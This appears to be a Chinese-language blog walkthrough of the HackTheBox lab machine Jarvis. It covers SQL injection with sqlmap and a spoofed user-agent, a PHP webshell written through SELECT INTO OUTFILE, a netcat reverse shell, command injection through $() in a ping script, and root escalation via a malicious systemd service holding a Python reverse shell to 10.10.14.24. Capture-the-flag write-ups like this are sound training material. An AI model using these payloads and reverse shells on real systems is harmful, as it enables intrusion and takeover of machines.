Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Jarvis_143

Jarvis_143

image-20200917090838507

image-20200717214657647

image-20200717214536198

image-20200717215821870

目录

image-20200717232409514

image-20200717232514836

等都没有发现

在主页rooms下发现了可能存在的注入点

image-20200717215919758

image-20200717215940132

image-20200717220003423

测试注入

sqlmap -u http://10.10.10.143/room.php?cod=1

但是收到了404

尝试页面注入

image-20200717222441579

虽然没有任何回显,但是也没有404,应该是过滤检测了浏览器

尝试使用--user-agent参数

sqlmap -u http://10.10.10.143/room.php?cod=1 --user-agent "Mozilla / 5.0(X11; Linux x86_64; rv:60.0 )Gecko / 20100101 Firefox / 60.0"

image-20200717223443011

成功

使用--passwors转储密码

sqlmap -u http://10.10.10.143/room.php?cod=1 --user-agent "Mozilla / 5.0(X11; Linux x86_64; rv:60.0 )Gecko / 20100101 Firefox / 60.0" --password

image-20200717223833147

DBadmin:imissyou

登录之前的phpadmin

image-20200717232637876

在sql控制台中写入cmdshell

SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/cmd_shell.php"

image-20200718022115866

image-20200718022137394

至此获得一个webshell

http://10.10.10.143/cmd_shell.php?cmd=

image-20200718023554297

webshell转shell

http://10.10.10.143/cmd_shell.php?cmd=nc%20-e%20/bin/sh%2010.10.14.24%201337

image-20200718025816932

image-20200718031257943

检查脚本

image-20200718031422435

在脚本其中的一部分发现,可能存在命令注入,

被排除的字符有

['&', ';', '-', '`', '||', '|']

image-20200718032056988

image-20200718034016888

脚本应该是可以进行ping+系统命令进行执行,

虽然排除了所有能够附加命令的符号,但是由于ping是可以使用变量的,我们仍然可以对其进行命令注入

例如ping $(cat ip.txt)

那么我们就可以使用ping $(bash)来直接执行bash

同时利用sudo特性切换用户到pepper

sudo -u pepper ./simpler.py -p

但是这样得到的shell并不能正常回显,我们可以在/tmp文件夹下生成一个shell文件,然后在命令注入时执行它。从而获得shell

echo '#!/bin/bash' > /tmp/evil.sh
echo "bash -i >& /dev/tcp/10.10.14.24/1338 0>&1" >> /tmp/evil.sh
chmod +x /tmp/evil.sh
sudo -u pepper ./simpler.py -p
> $(/tmp/evil.sh)

image-20200718043218194

image-20200718043245340

image-20200718044426579

查找suid

find / -perm -4000 2>/dev/null

image-20200718043750025

systemctl已经设置了suid位并将其作为root用户运行,所以我们可以创建自己的服务,该服务包含rshell,一旦启用,我们应该得到我们的root shell。

kali上新建 evil.service

[Unit]
Description=pwned

[Service]
ExecStart=/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.24",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

[Install]
WantedBy=multi-user.target

image-20200718044619201

也可以

[Service]
Type=oneshot
ExecStart=/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.24",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

[Install]
WantedBy=multi-user.target

然后将这个服务文件上传到用户的文件夹下,注意,上传到tmp目录是不能正常执行的

然后立即启动服务

systemctl enable /home/pepper/evil.service --now

也可以cp服务到/dev/shm/目录下

systemctl enable /dev/shm/evil.service –now

image-20200718050252812

然后即可在监听的4444端口获得root shell

image-20200718045943885